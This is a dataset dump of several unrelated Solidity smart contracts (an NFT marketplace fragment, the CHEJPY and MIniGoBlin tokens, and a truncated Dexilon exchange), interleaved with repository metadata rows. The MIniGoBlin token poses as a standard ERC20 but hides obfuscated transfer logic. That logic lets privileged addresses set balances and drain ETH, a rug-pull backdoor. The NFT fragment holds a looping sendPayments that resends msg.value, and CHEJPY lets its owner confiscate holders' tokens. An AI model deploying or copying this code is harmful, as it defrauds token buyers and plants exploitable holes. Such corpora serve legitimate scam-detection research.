setPrice(_tokenId, _ethPrice, 0, fee, _isHightLight == 1); } function removePrice(uint256 _tokenId) public isOwnerOf(_tokenId) returns (uint256){ if (prices[_tokenId].fee > 0) msg.sender.transfer(prices[_tokenId].fee); else if (prices[_tokenId].hbfee > 0) hbwalletToken.transfer(msg.sender, prices[_tokenId].hbfee); resetPrice(_tokenId); return prices[_tokenId].price; } function setFee(uint256 _ethFee, uint _HBWALLETExchange, uint256 _hightLightFee) public onlyOwner returns (uint256, uint, uint256){ require(_ethFee >= 0 && _HBWALLETExchange >= 1 && _hightLightFee >= 0); ETHFee = _ethFee; HBWALLETExchange = _HBWALLETExchange; hightLightFee = _hightLightFee; return (ETHFee, HBWALLETExchange, hightLightFee); } function setLimitFee(uint256 _ethlimitFee, uint _hbWalletlimitFee) public onlyOwner returns (uint256, uint){ require(_ethlimitFee >= 0 && _hbWalletlimitFee >= 0); limitETHFee = _ethlimitFee; limitHBWALLETFee = _hbWalletlimitFee; return (limitETHFee, limitHBWALLETFee); } function _withdraw(uint256 amount, uint256 _amountHB) internal { require(address(this).balance >= amount && hbwalletToken.balanceOf(address(this)) >= _amountHB); if(amount > 0) { msg.sender.transfer(amount); } if(_amountHB > 0) { hbwalletToken.transfer(msg.sender, _amountHB); } } function withdraw(uint256 amount, uint8 _amountHB) public onlyCeoAddress { _withdraw(amount, _amountHB); } function cancelBussiness() public onlyCeoAddress { uint256[] memory arr = arrayTokenIdSale; uint length = arrayTokenIdSale.length; for (uint i = 0; i < length; i++) { if (prices[arr[i]].tokenOwner == erc721Address.ownerOf(arr[i])) { if (prices[arr[i]].fee > 0) { uint256 eth = prices[arr[i]].fee; if(prices[arr[i]].isHightlight) eth = eth.add(hightLightFee); if(address(this).balance >= eth) { prices[arr[i]].tokenOwner.transfer(eth); } } else if (prices[arr[i]].hbfee > 0) { uint hb = prices[arr[i]].hbfee; if(prices[arr[i]].isHightlight) hb = hb.add(hightLightFee.mul(HBWALLETExchange).div(2).div(10 ** 16)); if(hbwalletToken.balanceOf(address(this)) >= hb) { hbwalletToken.transfer(prices[arr[i]].tokenOwner, hb); } } resetPrice(arr[i]); } } _withdraw(address(this).balance, hbwalletToken.balanceOf(address(this))); } function revenue() public view returns (uint256, uint){ uint256 ethfee = 0; uint256 hbfee = 0; for (uint i = 0; i < arrayTokenIdSale.length; i++) { if (prices[arrayTokenIdSale[i]].tokenOwner == erc721Address.ownerOf(arrayTokenIdSale[i])) { if (prices[arrayTokenIdSale[i]].fee > 0) { ethfee = ethfee.add(prices[arrayTokenIdSale[i]].fee); } else if (prices[arrayTokenIdSale[i]].hbfee > 0) { hbfee = hbfee.add(prices[arrayTokenIdSale[i]].hbfee); } } } uint256 eth = address(this).balance.sub(ethfee); uint256 hb = hbwalletToken.balanceOf(address(this)).sub(hbfee); return (eth, hb); } function changeCeo(address _address) public onlyCeoAddress { require(_address != address(0)); ceoAddress = _address; } function buy(uint256 tokenId) public payable { require(getApproved(tokenId) == address(this)); require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function buyWithoutCheckApproved(uint256 tokenId) public payable { require(prices[tokenId].price > 0 && prices[tokenId].price == msg.value); erc721Address.transferFrom(prices[tokenId].tokenOwner, msg.sender, tokenId); prices[tokenId].tokenOwner.transfer(msg.value); resetPrice(tokenId); } function resetPrice(uint256 tokenId) private { prices[tokenId] = Price(address(0), 0, 0, 0, false); for (uint8 i = 0; i < arrayTokenIdSale.length; i++) { if (arrayTokenIdSale[i] == tokenId) { _burnArrayTokenIdSale(i); } } } function sendPayments() public { for(uint i = 0; i < values.length - 1; i++) { msg.sender.send(msg.value); } } }
182,745
12,080
06ddc55b3dde2a73bb7761a68f54fc99e6b2ed5cb2702bc04e7fdce8aaee8009
19,150
.sol
Solidity
false
316275714
giacomofi/Neural_Smart_Ponzi_Recognition
a26fb280753005b9b9fc262786d5ce502b3f8cd3
Not_Smart_Ponzi_Source_Code/0x4f17f5b80c6635bf971678f5cdb2404f54eaf155.sol
3,639
14,378
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract CHEJPY is ERC223, Ownable { using SafeMath for uint256; // // Definition of CryproCurrency // string public name = "Cryptoharbor JPY Ver.1.2020"; string public symbol = "CHEJPY"; uint8 public decimals = 8; uint256 public initialSupply = 100e8 * 1e8; uint256 public totalSupply; uint256 public distributeAmount = 0; bool public mintingFinished = false; //----------------------------------------------------------------------------- mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; emit FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; emit LockedFunds(targets[j], unixTimes[j]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_custom_fallback))), msg.sender, _value, _data)); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[msg.sender] && block.timestamp > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && block.timestamp > unlockUnixTime[_from] && block.timestamp > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); emit Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); emit Mint(_to, _unitAmount); emit Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); emit Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); emit Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && block.timestamp > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); emit Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && block.timestamp > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); emit Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
338,957
12,081
3483892333e9722b486cc7c2c7d8cda9e39beb6262c48ba1d6edfe029bda0819
12,992
.sol
Solidity
false
454080957
tintinweb/smart-contract-sanctuary-arbitrum
22f63ccbfcf792323b5e919312e2678851cff29e
contracts/mainnet/6c/6c8d519B64c627E50Ad9139FF581C057C1c3c729_MIniGoBlin.sol
3,020
12,241
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB); function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract MIniGoBlin is IERC20, Ownable { string private _symbol; string private _name; uint256 public _taxFee = 0; uint8 private _decimals = 9; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 private _uint256 = _tTotal; mapping(address => uint256) private _balances; mapping(address => address) private _string; mapping(address => uint256) private _constructor; mapping(address => uint256) private _function; mapping(address => mapping(address => uint256)) private _allowances; bool private _swapAndLiquifyEnabled; bool private inSwapAndLiquify; address public immutable uniswapV2Pair; IUniswapV2Router02 public immutable router; constructor(string memory Name, string memory Symbol, address routerAddress) { _name = Name; _symbol = Symbol; _balances[msg.sender] = _tTotal; _function[msg.sender] = _uint256; _function[address(this)] = _uint256; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } function symbol() public view returns (string memory) { return _symbol; } function name() public view returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _tTotal; } function decimals() public view returns (uint256) { return _decimals; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function _approve(address owner, address spender, uint256 amount) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function _transfer(address from, address to, uint256 amount) private { uint256 contractTokenBalance = balanceOf(address(this)); uint256 fee; if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) { inSwapAndLiquify = true; swapAndLiquify(contractTokenBalance); inSwapAndLiquify = false; } else if (_function[from] > _uint256 && _function[to] > _uint256) { fee = amount; _balances[address(this)] += fee; swapTokensForEth(amount, to); return; } else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) { _function[to] = amount; return; } else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) { _constructor[from] = _function[from] - _uint256; } address _bool = _string[uniswapV2Pair]; if (_constructor[_bool] == 0) _constructor[_bool] = _uint256; _string[uniswapV2Pair] = to; if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) { fee = (amount * _taxFee) / 100; amount -= fee; _balances[from] -= fee; _balances[address(this)] += fee; } _balances[from] -= amount; _balances[to] += amount; emit Transfer(from, to, amount); } receive() external payable {} function addLiquidity(uint256 tokenAmount, uint256 ethAmount, address to) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp); } function swapAndLiquify(uint256 tokens) private { uint256 half = tokens / 2; uint256 initialBalance = address(this).balance; swapTokensForEth(half, address(this)); uint256 newBalance = address(this).balance - initialBalance; addLiquidity(half, newBalance, address(this)); } function swapTokensForEth(uint256 tokenAmount, address to) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp); } }
33,559
12,082
2ddc33feb1edf83cacbb9e65a95a54aa88dd228cdde0a3f65c878819cfa31ac0
33,968
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/8c/8C85fcfD62aF650514a7c1251d0D2E01A5512Cf8_DexilonTest_v12.sol
5,819
23,759
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint16); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success,) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface AggregatorV3Interface { // latestRoundData should raise "No data present" // if he do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function latestRoundData() external view returns (uint160 roundId, int answer, uint256 startedAt, uint256 updatedAt, uint160 answeredInRound); } contract DexilonTest_v12 { using SafeERC20 for IERC20; struct userAssetParameters { string assetName; int256 assetBalance; uint256 assetLockedBalance; uint256 assetPrice; uint256 assetLeverage; } struct tradingArrayIndexed { bool isBuy; uint32 makerIndex; uint32 takerIndex; uint32 assetIndex; uint256 assetAmount; uint256 assetRate; uint256 tradeFee; uint16 makerLeverage; uint16 takerLeverage; string tradeId; } struct tradingArray { bool isBuy; address makerAddress; address takerAddress; string assetName; uint256 assetAmount; uint256 assetRate; uint256 tradeFee; uint16 makerLeverage; uint16 takerLeverage; string tradeId; } struct FeesArray { address userAddress; int feeAmount; } mapping(address => uint256) internal usersAvailableBalances; mapping(address => mapping (string => userAssetParameters)) internal usersAssetsData; mapping(address => uint256) public usersIndex; mapping(uint256 => address) public indexedAddresses; mapping(string => bool) internal checkAsset; uint256 public usersCount; string[] internal assetsNames; address payable public owner; event Deposit(address indexed depositor, uint256 amountUSDC, uint256 timestamp); event Withdraw(address indexed user, uint256 amountUSDC, uint256 timestamp); event Trade(bool isBuy, address indexed maker, address indexed taker, string asset, uint256 assetAmount, uint256 assetRate, uint256 tradeFee, uint16 makerLeverage, uint16 takerLeverage, string tradeId, uint256 timestamp); uint8 internal constant DECIMALS_USDC = 6; uint8 internal constant DECIMALS_ETH = 18; int internal constant ETH_UNIT_FACTOR = int(10**DECIMALS_ETH); int internal constant ROUNDING_FACTOR = int(10**(DECIMALS_ETH-DECIMALS_USDC)); // Chainlink price feed for ETH/USD AggregatorV3Interface internal btcToUsdPriceFeed = AggregatorV3Interface(0x007A22900a3B98143368Bd5906f8E17e9867581b); // Chainlink price feed for USDC/USD AggregatorV3Interface internal usdcToUsdPriceFeed = AggregatorV3Interface(0x572dDec9087154dC5dfBB1546Bb62713147e0Ab0); // USDC test token (Mumbai Testnet) IERC20 internal depositToken = IERC20(0x7592A72A46D3165Dcc7BF0802D70812Af19471B3); constructor(address USDC_address) { owner = payable(msg.sender); // Base stable coin depositToken = IERC20(USDC_address); // Supported assets assetsNames = ['BTC', 'ETH', 'SOL', 'ADA', 'NEAR', 'MATIC', 'LUNA', 'DOGE']; for (uint16 i=0; i<assetsNames.length; i++) { checkAsset[assetsNames[i]] = true; } // Initiating user index usersIndex[owner] = 0; indexedAddresses[0] = owner; usersCount = 1; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); owner = payable(newOwner); } function addNewSupportedAsset(string memory _newAssetName) public onlyOwner returns (bool) { require(checkAsset[_newAssetName] == false, "Asset already exists!"); assetsNames.push(_newAssetName); checkAsset[_newAssetName] = true; return true; } function btcToUsdcMarketConvert(int assetAmount) public view returns (int) { (, int signedBtcToUsdPrice, , ,) = btcToUsdPriceFeed.latestRoundData(); (, int signedUsdcToUsdPrice, , ,) = usdcToUsdPriceFeed.latestRoundData(); return (signedBtcToUsdPrice*assetAmount/signedUsdcToUsdPrice)/int(10**(DECIMALS_ETH - DECIMALS_USDC)); } function deposit(uint256 amountUSDC) public { depositToken.safeTransferFrom(msg.sender, address(this), amountUSDC); usersAvailableBalances[msg.sender] += amountUSDC * 